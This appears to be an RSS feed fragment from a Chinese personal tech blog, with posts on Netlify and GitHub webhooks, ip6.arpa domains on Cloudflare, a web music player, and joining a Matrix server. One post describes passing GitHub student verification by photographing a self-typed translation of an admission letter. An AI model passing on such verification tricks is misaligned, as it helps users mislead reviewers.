&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Changing the starting line number&lt;/h3&gt;
&lt;h3&gt;更改起始行号&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;console.log(&apos;Greetings from line 5!&apos;)
console.log(&apos;I am on line 6&apos;)
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>认证为Folo的创作者</title><link>https://blog.acofork.com/posts/folo-verification/</link><guid isPermaLink="true">https://blog.acofork.com/posts/folo-verification/</guid><description>Folo是一个RSS聚合平台在上面不仅可以订阅很多优质的RSS源也可以认领自己的RSS源</description><pubDate>Sun, 10 Aug 2025 21:26:55 GMT</pubDate><content:encoded>&lt;h1&gt;这是啥?&lt;/h1&gt;
&lt;p&gt;这是一篇Folo认证文章用于认证本RSS归属于我&lt;/p&gt;
&lt;p&gt;Zola&lt;/p&gt;
&lt;p&gt;This message is used to verify that this feed (feedId:154118531036739584) belongs to me (userId:165740980096046080). Join me in enjoying the next generation information browser https://folo.is.&lt;/p&gt;
&lt;p&gt;Fuwari&lt;/p&gt;
&lt;p&gt;This message is used to verify that this feed (feedId:180993728847509504) belongs to me (userId:165740980096046080). Join me in enjoying the next generation information browser https://folo.is.&lt;/p&gt;
&lt;p&gt;blog.acofork.com&lt;/p&gt;
&lt;p&gt;This message is used to verify that this feed (feedId:236818461447222272) belongs to me (userId:165740980096046080). Join me in enjoying the next generation information browser https://folo.is.&lt;/p&gt;
&lt;h1&gt;我要怎么认证?&lt;/h1&gt;
&lt;p&gt;首先 你得有一个博客或者说一个有RSS的网站&lt;/p&gt;
&lt;p&gt;比如 2x.nz/rss.xml&lt;/p&gt;
&lt;p&gt;接下来在Folo处点击认证 https://folo.is&lt;/p&gt;
&lt;p&gt;会弹出一个内容要求让你放置到RSS&lt;/p&gt;
&lt;p&gt;最简单的方法就是像我这样新建一篇文章,然后原封不动粘贴这段话,然后认证即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-10-21-31-04-image.BeZCjMu2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>利用Netlify WebHook来实时提醒你的订阅者博客文章更新</title><link>https://blog.acofork.com/posts/netlify-webhook/</link><guid isPermaLink="true">https://blog.acofork.com/posts/netlify-webhook/</guid><description>早期提过使用Github WebHook来做到这件事今天偶然发现了Netlify也可以做到同样的事情</description><pubDate>Sat, 09 Aug 2025 00:01:00 GMT</pubDate><content:encoded>&lt;h1&gt;原理&lt;/h1&gt;
&lt;p&gt;早期文章提到过 &lt;a href=&quot;/posts/github-webhook&quot;&gt;利用Github Webhook为你的订阅者推送文章更新消息&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;其实已经很完美了,但是仍有一些缺陷&lt;/p&gt;
&lt;p&gt;比如Github WebHook确实可以让Bot知道什么时候有了新的提交&lt;/p&gt;
&lt;p&gt;但是Github并不知道构建服务需要构建多久&lt;/p&gt;
&lt;p&gt;只能设置一个保守的延迟推送&lt;/p&gt;
&lt;p&gt;但是当我们再使用Netlify的WebHook的时候&lt;/p&gt;
&lt;p&gt;情况就变得不同了&lt;/p&gt;
&lt;p&gt;Netlify可以在站点构建成功后向Bot发送WebHook&lt;/p&gt;
&lt;p&gt;但是也有缺陷&lt;/p&gt;
&lt;p&gt;那就是Netlify不支持检测文件变动&lt;/p&gt;
&lt;p&gt;但是&lt;/p&gt;
&lt;p&gt;我们只需要将两者结合&lt;/p&gt;
&lt;p&gt;则工作流为
Push -&amp;gt;&lt;/p&gt;
&lt;p&gt;Github Webhook 通知Bot -&amp;gt;&lt;/p&gt;
&lt;p&gt;Bot收到提交信息如果合法则记录变动的文章并且等待Netlify发送部署成功的WebHook -&amp;gt;&lt;/p&gt;
&lt;p&gt;Netlify WebHook 通知Bot站点部署成功 -&amp;gt;&lt;/p&gt;
&lt;p&gt;Bot即刻推送文章更新消息 √&lt;/p&gt;
&lt;h1&gt;实操&lt;/h1&gt;
&lt;p&gt;添加HTTP POST钩子&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-09-23-15-10-image.Dxcxsufp.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;创建一个部署成功钩子&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-09-23-15-40-image.CjD0-VmI.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Bot端&lt;/h1&gt;
&lt;p&gt;设置一个双监听WebHook服务器同时接受Github和Netlify的WebHook即可。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-09-23-36-50-5ec10aad91b98d8d36699c7956c705f0.97Swj02q.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-09-23-39-27-cfc2d6a91a07455adbcee0c491143640.BTi7GcEI.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-09-23-57-02-image.CvrqPqPz.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>有自己的开源项目来申请Netlify的Open Source计划</title><link>https://blog.acofork.com/posts/netlify-oss/</link><guid isPermaLink="true">https://blog.acofork.com/posts/netlify-oss/</guid><description>昨天在乱翻Netlify的网站突然发现了一个开源计划的申请入口故申请没想到今天就通过了😋</description><pubDate>Sat, 09 Aug 2025 00:00:01 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;[! WARNING]&lt;/p&gt;
&lt;p&gt;Netlify OSS计划不受理个人博客&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;确保你有一个开源项目并且已经托管在了NetlifyGithub的也有你网站的链接
&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-09-12-30-32-image.DmyqEEYN.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;前往 https://opensource-form.netlify.com/&lt;/p&gt;
&lt;p&gt;填写相关信息,提交。&lt;/p&gt;
&lt;p&gt;我是这样写的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Open Source Team Application
Applicant Name: no name provided
Applicant Email: acofork@gmail.com
Project Name: afoim/fuwari
Proof of Contributors:
Code of Conduct URL: https://2x.nz
Project License URL: MIT license
Netlify Site URL: https://2x.nz/posts/static-web/#netlify
Notes:
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-09-05-17-05-image.CiqSiSHC.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一天后收到已开通 &lt;code&gt;Open Source&lt;/code&gt; 计划的邮件。如果没有通过也没关系,你可以直接回复这封邮件,带上你的疑问,注意使用英文&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-09-05-17-36-image.C_38yVqz.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;账户也自动从 &lt;code&gt;Starter&lt;/code&gt; 升级到了 &lt;code&gt;Open Source&lt;/code&gt; 计划&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-09-05-18-12-image.Dn61HcdN.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>【开源】WPwebplayer——简洁通用的网页播放器</title><link>https://blog.acofork.com/posts/wpwebplayer/</link><guid isPermaLink="true">https://blog.acofork.com/posts/wpwebplayer/</guid><description>一款简单,简洁,轻量,通用的开源网站音乐播放器</description><pubDate>Sat, 09 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;本文章非站长本人撰写由他人Pr添加 https://github.com/afoim/fuwari/pull/23&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;WPWebPlayerhtml网站播放组件&lt;/h1&gt;
&lt;h2&gt;一款简单,简洁,轻量的网站音乐播放器 &lt;a href=&quot;https://wpwebplayer.112601.xyz/&quot;&gt;体验界面&lt;/a&gt;
&lt;img src=&quot;https://imgbed.112601.xyz/file/1752422083916.png&quot; alt=&quot;示例&quot; /&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.yunsen2025.top/023-wpmusicplayer&quot;&gt;项目文章(博客)&lt;/a&gt; | &lt;a href=&quot;https://wpwebplayer.112601.xyz/&quot;&gt;体验界面&lt;/a&gt; | &lt;a href=&quot;https://www.jsdelivr.com/package/npm/wpwebplayer?tab=files&quot;&gt;NPM包前端资源&lt;/a&gt;&lt;/h2&gt;
&lt;h1&gt;项目特性:&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;简约仅需引入css与js文件统一使用&lt;code&gt;&amp;lt;wp-music-player&amp;gt;&lt;/code&gt;标签&lt;/li&gt;
&lt;li&gt;简单:无更多冗杂功能,回归最基础的【网站音乐播放】&lt;/li&gt;
&lt;li&gt;可控性强:支持多个自定义参数,播放功能 ui颜色均可自定义&lt;/li&gt;
&lt;li&gt;易于集成可用于任何html项目中&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;使用方式:&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;标签中引入css与js文件&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;https://cdn.jsdelivr.net/npm/wpwebplayer@1.1.5/min-css.css&quot;&amp;gt;
&amp;lt;script src=&quot;https://cdn.jsdelivr.net/npm/wpwebplayer@1.1.5/min-js.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt;中使用&lt;code&gt;&amp;lt;wp-music-player&amp;gt;&lt;/code&gt;标签&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt; &amp;lt;wp-music-player
src=&quot;&quot;
title=&quot;&quot;
artist=&quot;&quot;
cover=&quot;&quot;
autoplay=&quot;true&quot;
loop=&quot;true&quot;
volume=&quot;0.3&quot;
fixed=&quot;true&quot;
mini=&quot;true&quot;
theme=&quot;#ff6b6b&quot;&amp;gt;
&amp;lt;/wp-music-player&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;(代码示例请前往&lt;a href=&quot;https://github.com/yunsen2025/WPwebplayer/blob/main/example.html&quot;&gt;example.html&lt;/a&gt;)&lt;/h2&gt;
&lt;h1&gt;参数说明&lt;/h1&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;属性&lt;/th&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;默认值&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;src&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;string&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;音频文件地址(必须)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;title&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;string&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;音乐标题&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;artist&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;string&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;作者&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cover&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;string&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;封面图片URL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;autoplay&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true / false&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;是否自动播放&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;loop&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true / false&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;是否循环播放&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;volume&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;number&lt;/code&gt; (0~1)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1.0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;初始音量0~1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;fixed&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true / false&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;是否固定样式&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;mini&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true / false&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;是否迷你模式&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;theme&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;string&lt;/code&gt;(色值)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;#00c3ff&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;主题颜色&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;说明&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;src&amp;amp;cover均需将图片上传至图床并引用&lt;/li&gt;
&lt;li&gt;autoplay参数失效 浏览器安全策略禁止未经允许的音频自动播放&lt;a href=&quot;https://developer.chrome.com/blog/autoplay?hl=zh-cn&quot;&gt;Chrome 中的自动播放政策&lt;/a&gt;(需要用户手动操作后才能播放)&lt;/li&gt;
&lt;li&gt;volume 0~1 的小数值,代表 0%~100% 的音量大小&lt;/li&gt;
&lt;li&gt;fixed使播放器始终固定在页脚不会因页面滚动产生的相对位置变化影响播放器实际位置默认为 true&lt;/li&gt;
&lt;li&gt;mini“迷你模式”和“完整模式”切换 完整模式支持更多功能有bug 还没修)&lt;/li&gt;
&lt;li&gt;theme主题颜色 默认为#00c3ff&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;特别鸣谢&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/MarSeventh&quot;&gt;@MarSeventh&lt;/a&gt; &lt;code&gt;叁月柒&lt;/code&gt;大佬在开发过程中提供宝贵帮助解决数个关键bug&lt;/p&gt;
</content:encoded></item><item><title>IPv6反解域名是什么嫩长一坨还能托管到CloudflareSSL签发也没问题</title><link>https://blog.acofork.com/posts/ip6-arpa/</link><guid isPermaLink="true">https://blog.acofork.com/posts/ip6-arpa/</guid><description>你是否见过类似 e.b.9.f.0.7.4.0.1.0.0.2.ip6.arpa 这样的域名,今天就教你搞一个!</description><pubDate>Sat, 09 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;这是什么&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;以下内容来自GPT-5&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这是一个 &lt;strong&gt;IPv6 反向解析Reverse DNS域名&lt;/strong&gt;,遵循 &lt;code&gt;ip6.arpa&lt;/code&gt; 格式。&lt;br /&gt;
它是把 IPv6 地址每个十六进制数字倒序排列,加上 &lt;code&gt;.ip6.arpa&lt;/code&gt; 后缀,用于 DNS 反查时将域名解析回原 IPv6 地址。&lt;/p&gt;
&lt;h1&gt;将 x.x.x.x.x.x.x.x.x.x.x.x.ip6.arpa 弄到手&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;视频教程: https://www.bilibili.com/video/BV1q8tBzsEPi/&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://tunnelbroker.net/&quot;&gt;Hurricane Electric Free IPv6 Tunnel Broker&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;注册一个账号(需要用域名邮箱)&lt;/p&gt;
&lt;p&gt;创建隧道。需要一台启用了ICMP信令的VPS&lt;/p&gt;
&lt;p&gt;填上IP后TunnelBroker会向其发送Ping请求&lt;/p&gt;
&lt;p&gt;如果TunnelBroker收到了回应并且该IP没有被其他隧道绑定就会弹出绿色可绑定的标志&lt;/p&gt;
&lt;p&gt;如果该IP曾被绑定则需要进行HTTP验证&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-09-04-53-04-image.CYIYGiC1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入这个页面查看TunnelBroker为你分配的路由IPv6&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-09-04-55-24-image.DCNNsTof.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;2001:470:24:386::/64&lt;/code&gt; 为例&lt;/p&gt;
&lt;p&gt;首先加0每项4位通过 &lt;code&gt;:&lt;/code&gt; 分割,则为 &lt;code&gt;2001047000240386&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;然后倒过来,则为 &lt;code&gt;6830420007401002&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;最后,加上 &lt;code&gt;.&lt;/code&gt;&lt;code&gt;.ip6.arpa&lt;/code&gt; ,则为 &lt;code&gt;6.8.3.0.4.2.0.0.0.7.4.0.1.0.0.2.ip6.arpa&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;将其添加到Cloudflare&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-09-04-59-05-image.B-_9Hifp.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查看Cloudflare要求你设置的NS服务器&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-09-04-59-25-image.Cu1-nqzh.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;回到TunnelBroker进行设置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-09-04-59-49-image.DvR5EzoN.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;等待域被激活即可&lt;/p&gt;
&lt;h1&gt;为其签发SSL&lt;/h1&gt;
&lt;p&gt;默认 ipra 无法签发SSL因为会被大部分SSL提供商拒签&lt;/p&gt;
&lt;p&gt;将Cloudflare SSL提供商改为 SSL.COM 可以解决这个问题&lt;/p&gt;
&lt;p&gt;获取必要信息发起更改SSL提供商请求&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl --location --request PATCH &apos;https://api.cloudflare.com/client/v4/zones/&amp;lt;zone_id&amp;gt;/ssl/universal/settings&apos; --header &apos;X-Auth-Email: 你的CF注册邮箱&apos; --header &apos;X-Auth-Key: 你的CF全局APIKey&apos; --header &apos;Content-Type: application/json&apos; --data-raw &apos;{&quot;enabled&quot;:true,&quot;certificate_authority&quot;:&quot;ssl_com&quot;}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;稍等片刻CF会自动使用新的SSL提供商签发SSL&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-09-05-07-40-image.Cr2UtAnW.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;局限性&lt;/h1&gt;
&lt;p&gt;本人测试如果您自己创建SSL.COM的账户尝试签发SSL会拒签。故该域名仅能在Cloudflare CDN下使用&lt;/p&gt;
</content:encoded></item><item><title>Github新版学生认证怎么过用记事本</title><link>https://blog.acofork.com/posts/github-edu/</link><guid isPermaLink="true">https://blog.acofork.com/posts/github-edu/</guid><description>突然被粉丝怂恿来弄Github学生认证弄了半天被我发现了奇技淫巧</description><pubDate>Fri, 08 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;视频: https://www.bilibili.com/video/BV1kAtrzzEkG&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;确保你是个学生&lt;/p&gt;
&lt;p&gt;并且拥有 &lt;strong&gt;学生证、录取通知书、毕业证&lt;/strong&gt; 中的其中一种(我使用录取通知书)&lt;/p&gt;
&lt;p&gt;首先来到 &lt;a href=&quot;https://github.com/settings/billing/payment_information&quot;&gt;Payment Information&lt;/a&gt; 确保是你的真实信息,并且姓名使用拼音&lt;/p&gt;
&lt;p&gt;如果不是,请进行更改,然后&lt;strong&gt;一定要重登Github&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-08-01-03-14-image.Dx0ixvaw.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来前往 &lt;a href=&quot;https://github.com/settings/education/benefits&quot;&gt;GitHub · Where software is built&lt;/a&gt; 推荐使用校园网或者流量&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-08-01-05-18-image.BtZdjGe7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;按需选&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-08-01-06-02-image.BpfCbacb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里拍照注意!如果你的证件没有英文版的,请不要直接拍原件&lt;/p&gt;
&lt;p&gt;找个记事本手动翻译一下&lt;/p&gt;
&lt;p&gt;比如我的录取通知书翻译为&lt;/p&gt;
&lt;p&gt;然后用手机拍照即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-08-01-06-56-image.rZp2QpXo.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;不出意外,批准!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-08-01-07-22-image.CWsA_OAr.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;疑难解答&lt;/h1&gt;
&lt;p&gt;报错什么姓名不符确保你的Github Payment Information姓名和你提交的证明文件姓名一样如果不一样改完一定要注销重新登录Github才行
报错用了VPN或者位置不对请确保使用中国大陆网络如果你没有校园网就用流量&lt;/p&gt;
</content:encoded></item><item><title>你说什么企业微信能免费用Deepseek还能调成猫娘</title><link>https://blog.acofork.com/posts/qiyewx-deepseek/</link><guid isPermaLink="true">https://blog.acofork.com/posts/qiyewx-deepseek/</guid><description>今天无意中建了个企业微信群,然后就发现可以加智能体,然后就调了个猫娘出来...</description><pubDate>Thu, 07 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;非常简单,首先你要有一个企业微信号&lt;/p&gt;
&lt;p&gt;然后前往 &lt;code&gt;工作台&lt;/code&gt; 往下拉找到 &lt;code&gt;智能机器人&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-07-04-12-05-e290f1322ccb6a32082cad8d44017ba4.zsw3mMQz.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来就可以创建了&lt;/p&gt;
&lt;p&gt;&lt;code&gt;角色设定&lt;/code&gt; 可以提示词注入一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-07-04-13-32-13b847d4e4e01c1780dbf18828172ebe_720.BzFnpELz.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后你就得到了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-07-04-13-46-b3720dc7d5946e995cbf6df189d02677.BPA5Jfzz.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以通过多种方式使用~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-07-04-14-58-d5ad87ab42f14ccbc220bf91ba5ec5d6.BWhTgjCp.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>关于如何加入我们自托管的m.2x.nz端到端加密聊天服务器</title><link>https://blog.acofork.com/posts/element/</link><guid isPermaLink="true">https://blog.acofork.com/posts/element/</guid><description>我在一台主机上托管了synapse现在你可以使用Element通过我的邀请链接加入这个端到端加密聊天服务器</description><pubDate>Wed, 06 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;本群已删除 &lt;s&gt;此文本来是针对于 matrix.afo.im 的,现在更改为了 m.2x.nz&lt;/s&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;如果你是App请确保已经使用 m.2x.nz 并且点击使用Github登录无需注册&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;使用浏览器访问: https://matrix.to/#/#acofork:m.2x.nz&lt;/p&gt;
&lt;p&gt;点击 Continue&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/bfcae8a0-33a3-462c-a559-d1f2b385a00d.DUxADJ1u.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;选择Element 卡片上的 Continue&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/788712ac-4b6f-420b-a644-c40f5bd25ddd.DDUciQt-.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;选择在浏览器中继续, Continue in your browser&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/269d4982-a672-4fe4-9537-bf1e494b17cc.DKhwteRs.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接着来到Element门户页首先更改语言&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/5fadcfe7-772b-496d-a001-a4bdb48294d8.BlGgVGWH.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接着点击登录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/dd10cabf-3455-4aa0-95c6-bb23f9764783.Dw0PFRmB.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;编辑 家服务器&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/55aada68-f144-461c-8857-d4114ee2e8de.CobE1bjB.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;使用 其他自定义服务器: &lt;code&gt;m.2x.nz&lt;/code&gt; 。然后点击继续&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/afff9570-0bc0-4b95-af1a-13bb6ca02b13.D7EHtoL5.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击使用Github继续&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;该服务器已禁用传统的邮箱注册&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/bc1cddcd-399c-4c4d-a319-38dadc85bb33.DPQNnoT4.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在结束 Github OAuth2 授权 后。浏览器会自动返回到 &lt;code&gt;m.2x.nz&lt;/code&gt; 域,点击 Continue&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/b0d2fa63-37a9-487e-91e3-b98d6af92307.DeKOylwb.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;现在你已成功登入Matrix&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/b8c23540-85af-40f6-b7c5-031543498111.C93ejMjn.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接着,再次访问最开始的邀请链接(在文章开头)。此时会弹出受邀界面,点击加入讨论即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/ca8af0a4-f0fd-43a6-ae8b-5eb50bf61bae.aRQwZ2Ix.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/e1349ad5-a482-43b2-add5-f57cd341e90e.DpMnvnow.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
